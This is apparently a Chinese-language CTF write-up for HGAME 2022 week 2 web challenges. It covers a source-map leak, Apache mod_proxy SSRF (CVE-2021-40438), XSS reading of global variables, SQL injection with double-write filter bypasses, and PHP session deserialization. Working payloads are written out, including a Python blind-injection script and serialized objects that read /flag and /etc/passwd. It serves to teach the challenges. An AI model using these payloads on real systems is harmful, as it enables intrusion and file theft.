HGAME-week2-web-wp

hgame第二周总结

1.webpack-engine

我不懂,但是真的刚打开就出来了,一脸懵逼(wp说是sourcemap没关

HGAME-week2-web-wp_第1张图片 HGAME-week2-web-wp_第2张图片

hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

2.Apache!

CVE-2021-40438复现,ssrf攻击

先搭一个环境

HGAME-week2-web-wp_第3张图片 HGAME-week2-web-wp_第4张图片 HGAME-week2-web-wp_第5张图片 HGAME-week2-web-wp_第6张图片

然后进入反代理的页面

HGAME-week2-web-wp_第7张图片

然后bp发包

HGAME-week2-web-wp_第8张图片 HGAME-week2-web-wp_第9张图片

上面这个不对,502,503什么的错误

HGAME-week2-web-wp_第10张图片 HGAME-week2-web-wp_第11张图片

2021 年 Apache 的 mod_proxy 模块报了个 SSRF 漏洞(CVE-2021-40438),利用这个漏洞直接访问 http://internal.host/flag 即可拿到 flag 。
唯一不同是,网上的 exp 大多是 Apache 直接作为代理服务器的情况,这题给了 Apache 的配置文件 https-vhosts.conf, ‘/’ 提供静态资源服务, ‘/proxy’ 提供代理服务。

payload (在漏洞环境下)

/proxy?unix:a{5000}|http://internal.host/flag

最终hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438}

3.[At0m的留言板]

找到调试器里的小提示

HGAME-week2-web-wp_第12张图片

auth0r使用let,flag使用var(因为使用 var 可以利用 Object.keys(window)拿到全局变量 flag 的变量名,而使用let的话无法获取。

HGAME-week2-web-wp_第13张图片

控制台验证+观察得知留言板的内容是类名元素为content来显示的

先显示出所有全局变量

document.getElementsByClassName('content')[0].innerText = Object.keys(window)
HGAME-week2-web-wp_第14张图片

这里试了一下flag,发现不行,可能是flag的名字变形了,这里已经没有出路,试试那个公众号吧。

公众号的主要功能是将用户输入的文本在网站中以留言框的形式展现出来,说明可以执行js代码,那就将所有变量提取到文本区

先试一试是不是xss,还真是

QQ图片20220217160732

然后使用如下语句(img是网页的图像标签,src属性是文件路径,onerror相当于用js事件控制,所以在各个浏览器都能兼容


HGAME-week2-web-wp_第15张图片

确定变量名F149_is_Here,拿到flag

HGAME-week2-web-wp_第16张图片

方法二:

Object.values(window)直接读取这些全局变量的内容

HGAME-week2-web-wp_第17张图片

方法三:

由于flag定义在了一个script标签里,直接可以document.scripts读出里面内容

QQ图片20220217162510

4.Pokemon

先根据hint

HGAME-week2-web-wp_第18张图片

改id=2,3,4

变图标了

HGAME-week2-web-wp_第19张图片HGAME-week2-web-wp_第20张图片

4的时候直接

HGAME-week2-web-wp_第21张图片

群公告给了部分源码

HGAME-week2-web-wp_第22张图片

数字型sql注入,使用 preg_replace 过滤了一些关键字。接下来就是考虑 bypass 了

绕过空格:使用 /1/ 或者 //**//
绕过 union, select, where,from,and,or:双写绕过: union => uniunionon

绕过 =: 使用 like 或者 regexp

1.查询数据库:
404/1/ununionion/1/selselectect/1/111,database()

HGAME-week2-web-wp_第23张图片

2.查询表:

404/1/ununionion/1/selselectect/1/111,group_concat(table_name)/1/frfromom/1/infoorrmation_schema.tables/1/whewherere/1/table_schema/1/regexp/1/"^pokemon$"

HGAME-week2-web-wp_第24张图片

3.查询列:

404/1/ununionion/1/selselectect/1/111,group_concat(column_name)/1/frfromom/1/infoorrmation_schema.columns/1/whewherere/1/table_name/1/regexp/1/"^fllllllllaaaaaag$"

HGAME-week2-web-wp_第25张图片

4.查询 flag
404/1/ununionion/1/selselectect/1/111,flag/1/frfromom/1/fllllllllaaaaaag

HGAME-week2-web-wp_第26张图片

方法二:借鉴web大佬的exp(盲注,error.php二分法盲注,过滤 = 用 like绕过

import requests
url="http://121.43.141.153:60056/error.php?code="
flag=''
for i in range(1,200):
    min = 32
    max = 127
    while min<max:
        mid=(min+max)//2
        # payload=f"if(ascii(substr((selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)whwhereere(!(table_schema<>database()))),{i},1))>{mid},404,403)"
        # payload=f"if(ascii(substr((selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)whewherere(!(table_name=<>'fllllllllaaaaaag'))),{i},1))>{mid},404,403)"
        payload=f"if(ascii(substr((selselectect(group_concat(flag))frfromom(fllllllllaaaaaag)),{i},1))>{mid},404,403)"
        response=requests.get(url=url+payload)
        if '404' in response.text:
            min =mid+1
        else:
            max=mid
    if min !=32 :
        flag+=chr(min)
    else:
        break
    print(flag)

hgame{C0n9r@tul4tiOn*Y0u$4r3_sq1_M4ST3R#}

5.一本单词书

有内容转载三篇博客(最终payload可以有很多种

https://ethe448.github.io/2022/01/21/HGAME2022-wp/#toc-heading-21

http://www.pdsdt.lovepdsdt.com/index.php/2022/02/04/hgame2022-week2/

https://mochu.blog.csdn.net/article/details/122631962?spm=1001.2014.3001.5502

hint提示www.zip

打开看源码

首先查看最有可能存在命令执行的文件ping.php

HGAME-week2-web-wp_第27张图片

没有,再查看admin_check.php,没有,那就login.php

HGAME-week2-web-wp_第28张图片

显然,不允许数据的值为纯数字,所以我们要对is_numeric()进行绕过

百度了一下发现该函数可以通过十六进制绕过或者%00进行绕过,这里使用%20(即1080后面加空格进行绕过

username=adm1n
password=1080 

就可以登录

HGAME-week2-web-wp_第29张图片

如果跳转出现警告,贴一下其他大佬的做法

HGAME-week2-web-wp_第30张图片

根据index.php,大致逻辑就是将输入的传入get.php和save.php进行处理

HGAME-week2-web-wp_第31张图片

页面的数据处理在get.php和save.php

save.php


session_start();
include 'admin_check.php';

function encode($data): string {
    $result = '';
    foreach ($data as $k => $v) {
        $result .= $k . '|' . serialize($v);
    }

    return $result;
}

function saveSessionData() {
    $filename = "/tmp/".$_SESSION['unique_key'].'.session';
    $data = json_decode(file_get_contents("php://input"));
    $str = encode($data);
    file_put_contents($filename, $str, FILE_APPEND);
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    saveSessionData();
} else {
    echo 'method not allowed';
}


将传入的单词的key和value写入文件中,并利用|来将key和value的序列化之后的值分隔。

encode函数比较直观,是对我们的数据进行序列化存储,saveSessionData主要是获取数据同时调用encode函数将数据存储到指定位置,该文件是由登陆时产生的key进行命名的,调试一下经过encode传输的数据,HGAME-week2-web-wp_第32张图片数据将我们value进行序列化存储了

get.php


session_start();
include 'admin_check.php';
include 'evil.php';

// flag is in /flag

function decode(string $data): Array {
    $result = [];
    $offset = 0;
    $length = \strlen($data);
    while ($offset < $length) {
        if (!strstr(substr($data, $offset), '|')) {
            return [];
        }
        $pos = strpos($data, '|', $offset);
        $num = $pos - $offset;
        $varname = substr($data, $offset, $num);
        $offset += $num + 1;
        $dataItem = unserialize(substr($data, $offset));

        $result[$varname] = $dataItem;
        $offset += \strlen(serialize($dataItem));
    }
    return $result;
}

function loadSessionData(): Array {
    $filename = '/tmp/'.$_SESSION['unique_key'].'.session';
    if (file_exists($filename)) {
        $str = file_get_contents($filename);
        return decode($str);
    } else {
        file_put_contents($filename, '');
        return [];
    }
}

echo json_encode(loadSessionData());

首先文件告诉了我们flag位置,其次分析两个function,decode函数主要是对传入的数据进行反序列化输出,与刚才save.php中的encode函数互相对应,可以看到encode函数是通过“|”分割key和value的,而decode函数则是通过“|”来进行数据判断,对“|”后来的数据进行反序列化操作。这里就存在一个问题,我们可以通过传输数据中添加“|”以此来利用decode函数的反序列化进行执行,同时查看evil.php发现了获取flag的点

看一下evil.php

HGAME-week2-web-wp_第33张图片

看见wakeup方法,再联系get.php时的unserialize可以猜测这里是要利用反序列化让file=/flag然后令flag变量的值变为flag再利用get.php将其读出来

这里要注意序列化的内容要在填在单词的位置,将其作为数组的key而不是value,否则在encode函数时会对value再进行一次序列化导致payload改变,无法执行反序列化操作

image-20220129184316177

还要在反序列化的payload前添加|符号

让|后的部分执行decode函数中的反序列化

将evil类中的file赋值为/flag,从而让flag=/flag文件中的内容

这里的if过滤没啥用

HGAME-week2-web-wp_第34张图片

最终paload:

{|O:4:"Evil":2:{s:4:"file";s:4:"flag";s:4:"flag";N;}

image-20220129185511329

方法二:evil里面存在file_get_contents,至此我们可以利用evil.php生成payload,再通过get.php进行触发,构造payload,尝试读取文件


class Evil {
    public $file="/etc/passwd";
    public $flag="flag{}";

}

$data=new Evil();
echo serialize($data);
//O:4:"Evil":2:{s:4:"file";s:11:"/etc/passwd";s:4:"flag";s:6:"flag{}";}

在传输数据时要注意,如果payload写在value处,会在save.php中被序列化掉,所以要将payload写入key处

{"1|O:4:\"Evil\":2:{s:4:\"file\";s:11:\"/etc/passwd\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}
HGAME-week2-web-wp_第35张图片

访问get.php

HGAME-week2-web-wp_第36张图片

成功获取到数据,此时修改读取文件为/flag即可获取到数据

{"1|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}
HGAME-week2-web-wp_第37张图片
三、

由于数据处理时为 json_decode 所以 键值对的键可控,注入session文件,反序列化读取文件
Payload

{
“y0ng|O:4:“Evil”:2:{s:4:“file”;s:5:”/flag";s:4:“flag”;N;}":1
}
访问get.php触发反序列化

四、

官方wp:这题的核心在于 encode 和 decode 两个函数,这两个函数取自 imiphp 框架(链接),和 Session 持久化有关。

encode 函数将键值型数据编码为 键|serialize(值) 的形式,如
{“a”: “1”,“b”: “s”} 编码为 a|s:1:“1”;b|s:1:“s”。
decode 函数会调用 unserialize 函数将编码后的数据恢复,具体来说就是 | 后面到下一个键名之间的内容换被传递给 unserialize 函数。
当键中包含 | 符号时,就可以注入任意的反序列化后的数据。
比如 {“a|s:2:“22”;b”:“2”} 这样的数据, “a|s:2:“22”;b” 做为键,数据经过 encode 函数之后变为 a|s:2:“22”;b|s:1:“2”,decode 解码后得到的对象为 {“a”:“22”,“b”:“2”}。

通过这样的方式就可以反序列化任意类了,将 Evil 类的 file 属性设置为 /flag即可。

官方payload:{“a|O:4:“Evil”:2:{s:4:“file”;s:5:”/flag";s:4:“flag”;N;};b":2}

下面是另一种payload:name|O:4:“Evil”:1:{s:4:“file”;s:5:"/flag";}

HGAME-week2-web-wp_第38张图片

你可能感兴趣的:(CTF,apache,python,web安全)